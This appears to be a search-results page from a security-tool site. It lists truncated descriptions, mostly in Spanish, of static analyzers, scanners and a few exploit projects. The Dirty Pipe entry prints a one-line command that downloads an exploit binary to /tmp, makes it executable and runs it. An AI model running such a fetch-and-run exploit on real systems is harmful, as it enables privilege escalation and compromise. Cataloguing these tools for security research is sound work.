7640 matches found
slither
Slither, el analizador estático de contratos inteligentes Únete al Slack de Empire Hacking - Discusiones y Soporte Slither es un framework de análisis estático para Solide y Vyper escrito en Python3. Ejecuta un conjunto de detectores de vulnerabilidades, imprime información visual sobre los...
smalien
Smalien Smalien es una herramienta de análisis de flujo de información y detección de fugas de información para analistas de aplicaciones Android. Smalien realiza análisis estático de taint en aplicaciones Android en una máquina Linux, así como análisis dinámico de taint, detección de fugas de...
kube-linter
Análisis estático para Kubernetes ¿Qué es KubeLinter? KubeLinter analiza archivos YAML de Kubernetes, charts de Helm y manifiestos de Kustomize, y los verifica contra una variedad de mejores prácticas, con un enfoque en la preparación para producción y la seguridad. KubeLinter ejecuta...
grepmarx
Grepmarx - Application Security Platform Grepmarx is a web application providing a single platform to quickly understand, analyze and identify vulnerabilities in possibly large and unknown code bases. Features SAST Static Analysis Security Testing capabilities: Multiple languages support: C/C++, ...
slowql
SlowQL El analizador estático SQL offline más rápido. Construido en Rust con cero falsos positivos. Detecta inyección SQL, regresiones de rendimiento, índices faltantes, consultas ilimitadas, violaciones de cumplimiento y más de 282 problemas antes de que lleguen a producción. No requiere conexió...
CVE-2024-38816-PoC
CVE-2024-38816 Prueba de Concepto PoC Esta es una prueba de concepto para la vulnerabilidad CVE-2024-38816, que demuestra un exploit de path traversal. Pasos de Ejecución 1. Construye la imagen de Docker: Spring Boot 3.0.13, basado en Spring Framework 6.0.3 root@kitploit: docker build -t...
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner Quick C tool for checking CVE-2020-0688 on multiple hosts with a non-intrusive method. Features Scan hosts from an input file. Passive check : grab exchange version by scraping html content. Produces an output file. Demo How to use Prerequisite Windows .NET framework 4.5.2...
RustyWater-ShellCode-Dropper
RustyWater Dropper de ShellCode RustyWater representa la carga principal y la columna vertebral de toda la operación adversaria en los ataques del grupo Static Kitten. RustyWater es un ejecutable compilado en Rust disfrazado como reddit.exe con un icono falso de Cloudflare conocido como RustyWate...
Gixy-Next
Gixy-Next: NGINX Configuration Security Scanner for Security Audits Overview Gixy-Next Gixy is an open-source NGINX configuration security scanner and hardening tool that statically analyzes your nginx.conf to detect security misconfigurations, hardening gaps, and common performance pitfalls befo...
Gixy-Next
Gixy-Next: Escáner de seguridad de configuraciones NGINX para auditorías de seguridad Descripción general Gixy-Next Gixy es un escáner de seguridad y herramienta de hardening de configuraciones NGINX de código abierto que analiza estáticamente tu nginx.conf para detectar configuraciones erróneas ...
hexora
hexora Hexora es una herramienta de análisis estático diseñada para detectar patrones maliciosos y dañinos en código Python. Combina un motor de análisis estático basado en reglas con un modelo de aprendizaje automático que puntúa archivos fuente completos para clasificarlos como maliciosos o...
octoscan
:octocat: octoscan Octoscan es un escáner estático de vulnerabilidades para flujos de trabajo de GitHub Actions. Tabla de contenido Tabla de contenido Instalación Uso descargar flujos de trabajo remotos analizar GitHub action Reglas dangerous-checkout dangerous-action dangerous-write...
Vba2Graph
Vba2Graph Una herramienta para investigadores de seguridad, que pierden su tiempo analizando macros maliciosas de Office. Genera un grafo de llamadas VBA, con palabras clave potencialmente maliciosas resaltadas. Permite un análisis rápido de macros maliciosas y una fácil comprensión del flujo de...
octopus
Octopus Muchas gracias a QuoScient por patrocinar este proyecto. Octopus es un marco de análisis de seguridad para módulos WebAssembly y contratos inteligentes de Blockchain. El propósito de Octopus es proporcionar una manera fácil de analizar módulos WebAssembly de código cerrado y bytecode de...
clr
CLR C omprobador de L ifetimes vida útil y otros R efinement types tipos de refinamiento para Zig Vídeo: https://www.youtube.com/watch?v=mf0WzTOe-40 Patrocinio: https://buymeacoffee.com/dnautics discutir en hn: https://news.ycombinator.com/item?id=42923829 discutir en lobste.rs:...
capa
Sitio web | Descargar | Interfaz web capa detecta capacidades en archivos ejecutables. Lo ejecutas contra un PE, ELF, módulo .NET, shellcode o un sandbox report y te dice lo que cree que el programa puede hacer. Por ejemplo, puede sugerir que el archivo es un backdoor, es capaz de instalar...
Umay
Plataforma de análisis de similitud de malware IoT Ver demostración Tabla de contenidos Acerca del proyecto Funcionalidades actuales Primeros pasos Requisitos previos Instalación Crear tu propio conjunto de datos Contribuciones Licencia Acerca del proyecto...
Dirty-Pipe
Exploit en una línea CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...
Bughound
¿Qué es Bughound? Bughound es una herramienta de análisis estático de código abierto que analiza tu código y envía los resultados a Elasticsearch y Kibana para obtener información útil sobre las posibles vulnerabilidades en tu código. Bughound tiene su propia imagen Docker de Elasticsearch y Kiba...